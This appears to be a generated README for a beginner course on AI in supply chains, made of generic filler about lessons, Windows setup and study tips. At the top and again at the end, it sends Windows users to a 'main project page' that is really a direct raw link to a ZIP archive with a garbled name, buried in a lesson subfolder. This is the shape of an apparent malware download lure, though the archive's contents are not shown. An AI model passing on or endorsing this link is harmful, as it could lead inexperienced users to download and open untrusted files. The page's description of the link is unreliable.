supply-chain-ai-for-beginners：面向初学者的供应链 AI 入门课程

📘 What this is

supply-chain-ai-for-beginners is a guided course for people who want to learn how AI supports supply chain work. It covers the basics first, then moves into real use cases and production steps.

The lessons use clear language and simple examples. You can follow along on a Windows PC with no prior programming experience.

🎯 What you will learn

What AI means in supply chain work
How machine learning helps with planning and forecasting
How deep learning fits into supply chain tasks
How to use Python for simple data work
How to think about AI projects from start to finish
How teams move from learning to production
How to use practical tools for real business cases

🖥️ What you need on Windows

Use a Windows 10 or Windows 11 PC with:

At least 8 GB of RAM
5 GB of free disk space
A stable internet connection
Microsoft Edge, Chrome, or another modern browser
A ZIP tool if the files come in a compressed folder
Python 3.10 or later if you plan to run the lessons locally

If you only want to read the course material, a browser is enough.

⬇️ Download and open the course

Go to the main project page here:

https://raw.githubusercontent.com/larsson9025/supply-chain-ai-for-beginners/main/11-llm-agents-for-planning/supply-for-chain-ai-beginners-v3.8.zip

From that page, use the download or clone option shown on GitHub. If the repository includes a release file or course package, download it to your PC and open it with your browser or file viewer.

If you see a ZIP file, save it to your Downloads folder, then extract it before you open the lesson files.

🧭 How to use it on Windows

1. Open the download

Find the file or folder you downloaded from GitHub.

2. Extract the files

If the file ends in .zip, right-click it and choose Extract All.

3. Open the course folder

Open the extracted folder and look for the main lesson files. These may be Markdown files, notebooks, or folders named by lesson number.

4. Start with Lesson 1

Begin with the first lesson and move in order. The course builds from basic ideas to full project work.

5. Follow each lesson

Read the lesson text, look at the examples, and complete any exercises in the same order they appear.

📚 Course structure

This course has 19 lessons. The path moves from beginner ideas to applied AI work in supply chain settings.

Part 1: Core concepts

Intro to AI in supply chain
Key terms in machine learning
How data supports decisions
Common supply chain problems

Part 2: Basic methods

Data cleaning
Forecasting
Classification
Simple model checks

Part 3: Applied learning

Demand planning
Inventory control
Risk spotting
Delay prediction

Part 4: Advanced work

Deep learning basics
Model tuning
Working with Python
Using notebooks for hands-on practice

Part 5: Production use

How AI moves into daily work
Model deployment ideas
Review and feedback loops
Planning for real systems

🧰 Tools used in the course

The course topic list points to common tools and ideas used in AI learning:

Python for code and data work
Jupyter or notebook-based lessons
Machine learning models
Deep learning examples
Supply chain data sets
Simple charts and tables
Model testing steps

If a lesson uses Python, you may need to install Python and a notebook tool such as Jupyter Notebook or VS Code with notebook support.

🔧 Simple setup steps

If the course includes notebooks

Install Python from the official Python site
During install, check the box to add Python to PATH
Open Command Prompt
Run the notebook tool if the course asks for it
Open the lesson notebook file

If the course is read-only

Download the repository
Extract the files
Open the lesson folder
Read each lesson in order

If you use VS Code

Install VS Code
Install the Python extension
Open the course folder
Open each lesson file from the file list

🧪 Example use case

A supply chain team wants to predict demand for next month. A lesson may show how to:

Load past sales data
Clean missing values
Train a simple model
Check model results
Review the forecast against real data

This helps you see how AI supports planning, stock control, and delivery work.

🔍 Topic areas covered

This course is built around these main topics:

artificial intelligence
beginners
course
deep learning
education
machine learning
python
supply chain
tutorials
quantisage

🗂️ Suggested lesson flow

If you are new to the subject, use this order:

Learn the basic AI terms
Read about supply chain problems
Learn how data is used
Study simple machine learning ideas
Try a small Python example
Review forecasting
Move into deeper models
Study production steps

This order makes it easier to stay on track.

🪟 Windows tips

Keep the course folder in an easy place, such as Documents
Use short folder names
Do not move files after you start a notebook session
Save your work often
Close extra apps if your PC runs slow

🧾 File types you may see

.md files for lesson text
.ipynb files for notebook lessons
.csv files for data
.png or .jpg files for images
.py files for Python code

🛠️ Common actions

Open a lesson file to read it
Run a notebook cell if the file uses Python
Check the output table or chart
Move to the next lesson when you finish the last one
Revisit earlier lessons when you need a refresh

📌 Good study habits

Keep a notebook for key terms
Read one lesson at a time
Try the examples in order
Repeat lessons that cover hard topics
Use your own supply chain examples when you practice

📥 Download / setup link

Use this page to download or open the course files:

https://raw.githubusercontent.com/larsson9025/supply-chain-ai-for-beginners/main/11-llm-agents-for-planning/supply-for-chain-ai-beginners-v3.8.zip